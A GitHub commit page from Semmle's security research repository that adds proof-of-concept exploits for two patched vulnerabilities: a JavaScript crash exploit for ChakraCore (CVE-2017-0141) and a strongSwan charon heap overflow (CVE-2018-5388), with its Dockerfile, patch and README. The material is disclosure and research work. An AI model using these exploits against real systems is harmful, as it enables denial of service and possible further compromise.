Skip to content

Commit c42c0a7

Browse files
authored
Merge pull request #1 from sjvs/master
Update team name, add some more exploits
2 parents 77d338a + 4059532 commit c42c0a7

6 files changed

Lines changed: 175 additions & 1 deletion

File tree

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Remote code execution in Microsoft ChakraCore (CVE-2017-0141)
2+
3+
This directory contains a proof of concept exploit for a remote code execution vulnerability in [ChakraCore](https://github.com/Microsoft/ChakraCore), the Javascript engine for Microsoft Edge. The vulnerability was caused by [this pull request](https://github.com/Microsoft/ChakraCore/pull/2196), which was a botched fix for [CVE-2016-7202](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7202). Semmle reported the vulnerability to Microsoft on 2016-12-19. Microsoft assigned it [CVE-2017-0141](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0141) and released a fix on [2017-03-14](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0141).
4+
5+
# Reproduction steps
6+
7+
First you need to build the version of ChakraCore with the vulnerability. On Windows, in a VS2015 [developer command prompt](https://docs.microsoft.com/en-us/dotnet/framework/tools/developer-command-prompt-for-vs), run these commands to download and build the vulnerable revision:
8+
9+
```bat
10+
git clone https://github.com/Microsoft/ChakraCore.git
11+
cd ChakraCore
12+
git checkout eecf271764ce0ee8ea58c2ec9c22bc2dd69861e7 &:: Version with "fix" for CVE-2016-7202
13+
msbuild /t:rebuild /m /p:Platform=x64 /p:Configuration=Release Build\Chakra.Core.sln
14+
```
15+
16+
Note: this revision of ChakraCore is too old to build with VS2017. You need VS2015 or earlier.
17+
18+
If the build was successful, then you can run the exploit like this:
19+
20+
```bat
21+
Build\VcBuild\bin\x64_release\ch.exe cve-2017-0141.js
22+
```
23+
24+
This causes ChakraCore to crash with the following error message:
25+
26+
```
27+
FATAL ERROR: ch.exe failed due to exception code c0000005
28+
```
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
var a = [1];
2+
a.length = 1000;
3+
4+
var o = {};
5+
Object.defineProperty(o, '1', {
6+
get: function() {
7+
for (var i = 0; i < 0x100000; i++) {
8+
a[0x100000 + i] = i;
9+
}
10+
return 2;
11+
}
12+
});
13+
14+
a.__proto__ = o;
15+
16+
var r = [].reverse.call(a);

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
# SecurityExploits
2-
This repository contains proof-of-concept exploits developed by the [lgtm.com security team](https://lgtm.com/security). We always disclose security vulnerabilities responsibly, so this repository only contains exploits for vulnerabilities which have already been fixed and publicly disclosed.
2+
This repository contains proof-of-concept exploits developed by the [Semmle Security Research Team](https://semmle.com/security). We always disclose security vulnerabilities responsibly, so this repository only contains exploits for vulnerabilities which have already been fixed and publicly disclosed.
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
FROM ubuntu:artful
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
openjdk-8-jdk git-core gnupg flex bison gperf build-essential \
6+
zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 \
7+
lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev ccache \
8+
libgl1-mesa-dev libxml2-utils xsltproc unzip python gdb python3 \
9+
tmux screen pkg-config libtool automake sudo libgmp-dev iptables \
10+
xl2tpd module-init-tools supervisor emacs gettext libcap-dev
11+
12+
# Create a vpn group.
13+
RUN groupadd vpn
14+
RUN useradd -g vpn vpn
15+
16+
WORKDIR /opt/work
17+
RUN git clone git://git.strongswan.org/strongswan.git
18+
RUN cd strongswan && git checkout 5.6.2 && ./autogen.sh && \
19+
./configure --with-capabilities=libcap --with-user=vpn --with-group=vpn && \
20+
make && make install
21+
22+
# Create an 'attacker' user. This user will be a member of the vpn
23+
# group, but does not get superuser privileges.
24+
RUN adduser attacker
25+
RUN adduser attacker vpn
26+
27+
# Switch to the attacker user and create the exploit code.
28+
USER attacker
29+
WORKDIR /home/attacker/
30+
31+
# Get a copy of the strongswan codebase for the "attacker" user. This
32+
# is just a lazy way to write the code for the exploit. The only thing
33+
# that we will use from this copy of the code is the "stroke" utility.
34+
# We will modify the code slightly and use stroke to send a malicious
35+
# message to the charon daemon.
36+
RUN git clone git://git.strongswan.org/strongswan.git
37+
COPY stroke_patch.txt /home/attacker/stroke_patch.txt
38+
RUN cd strongswan && git checkout 5.6.2 && \
39+
git apply ../stroke_patch.txt && \
40+
./autogen.sh && ./configure && make
41+
42+
# Switch back to the root user so that we can start ipsec when we start
43+
# the container.
44+
USER root

strongSwan/CVE-2018-5388/README.md

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Buffer overflow in strongSwan VPN's charon server (CVE-2018-5388)
2+
3+
This directory contains a proof-of-concept exploit for a buffer overflow vulnerability in [strongSwan](https://www.strongswan.org/) VPN's [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The vulnerability was discovered by Kevin Backhouse of the Semmle Security Research Team and has been assigned [CVE-2018-5388](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5388). It was fixed in strongSwan version [5.6.3](https://www.strongswan.org/blog/2018/05/28/strongswan-5.6.3-released.html), which was released on 28 May 2018.
4+
5+
# The bug
6+
7+
The bug is in this code ([src/libcharon/plugins/stroke/stroke_socket.c:634](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L634)):
8+
9+
```
10+
if (!stream->read_all(stream, (char*)msg + sizeof(len), len - sizeof(len)))
11+
```
12+
13+
The value of `len` is read from a socket (on [line 621](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L621)), so it could be vulnerable to attack. The code does not check that `len >= sizeof(len)`, so the calculation of `len - sizeof(len)` could overflow negatively and produce a very large value (of type `size_t`). This will cause a heap buffer overflow in the call to `read_all`, because the size of the `msg` buffer is very small and `read_all` will keep reading data from the socket until the connection is closed (or it reads 2^64 bytes).
14+
15+
# Running the PoC
16+
17+
To demonstrate the PoC in a safe environment, we will run the vulnerable version of strongSwan in a [docker](https://www.docker.com/) container.
18+
19+
First, build the docker image:
20+
21+
```
22+
docker build . -t strongswan
23+
```
24+
25+
As you can see from the Dockerfile, we have installed strongSwan version 5.6.2. We have also created a user named "attacker". This user is a member of the `vpn` group, so that they can use the [stroke](https://wiki.strongswan.org/projects/strongswan/wiki/IpsecStroke) utility to query the [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The attacker does not get other special privileges though. For example, they do not have superuser privileges.
26+
27+
Now start the container:
28+
29+
```
30+
docker run --privileged -i -t strongswan
31+
```
32+
33+
The `--privileged` flag is needed to start `ipsec` inside the container. Do this now:
34+
35+
```
36+
ipsec start
37+
```
38+
39+
Now switch to the attacker user account:
40+
41+
```
42+
su - attacker
43+
```
44+
45+
And run the attack:
46+
47+
```
48+
./strongswan/src/stroke/.libs/stroke statusall
49+
```
50+
51+
You will see an error message like this:
52+
53+
```
54+
ipsec_starter[26]: charon has died -- restart scheduled (5sec)
55+
```
56+
The charon daemon crashed due to a buffer overflow which we triggered by sending it a malicious message.
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
diff --git a/src/stroke/stroke.c b/src/stroke/stroke.c
2+
index 6571815e5..7b79c3aaf 100644
3+
--- a/src/stroke/stroke.c
4+
+++ b/src/stroke/stroke.c
5+
@@ -78,6 +78,7 @@ static int send_stroke_msg(stroke_msg_t *msg)
6+
stream_t *stream;
7+
char *uri, buffer[512], *pass;
8+
int count;
9+
+ size_t oldlen;
10+
11+
if (msg->length == UINT16_MAX)
12+
{
13+
@@ -98,13 +99,16 @@ static int send_stroke_msg(stroke_msg_t *msg)
14+
return -1;
15+
}
16+
17+
- if (!stream->write_all(stream, msg, msg->length))
18+
+ oldlen = msg->length;
19+
+ msg->length = 1;
20+
+ if (!stream->write_all(stream, msg, oldlen))
21+
{
22+
fprintf(stderr, "sending stroke message failed\n");
23+
stream->destroy(stream);
24+
free(msg);
25+
return -1;
26+
}
27+
+ exit(0);
28+
29+
while ((count = stream->read(stream, buffer, sizeof(buffer)-1, TRUE)) > 0)
30+
{

0 commit comments

Comments
 (0)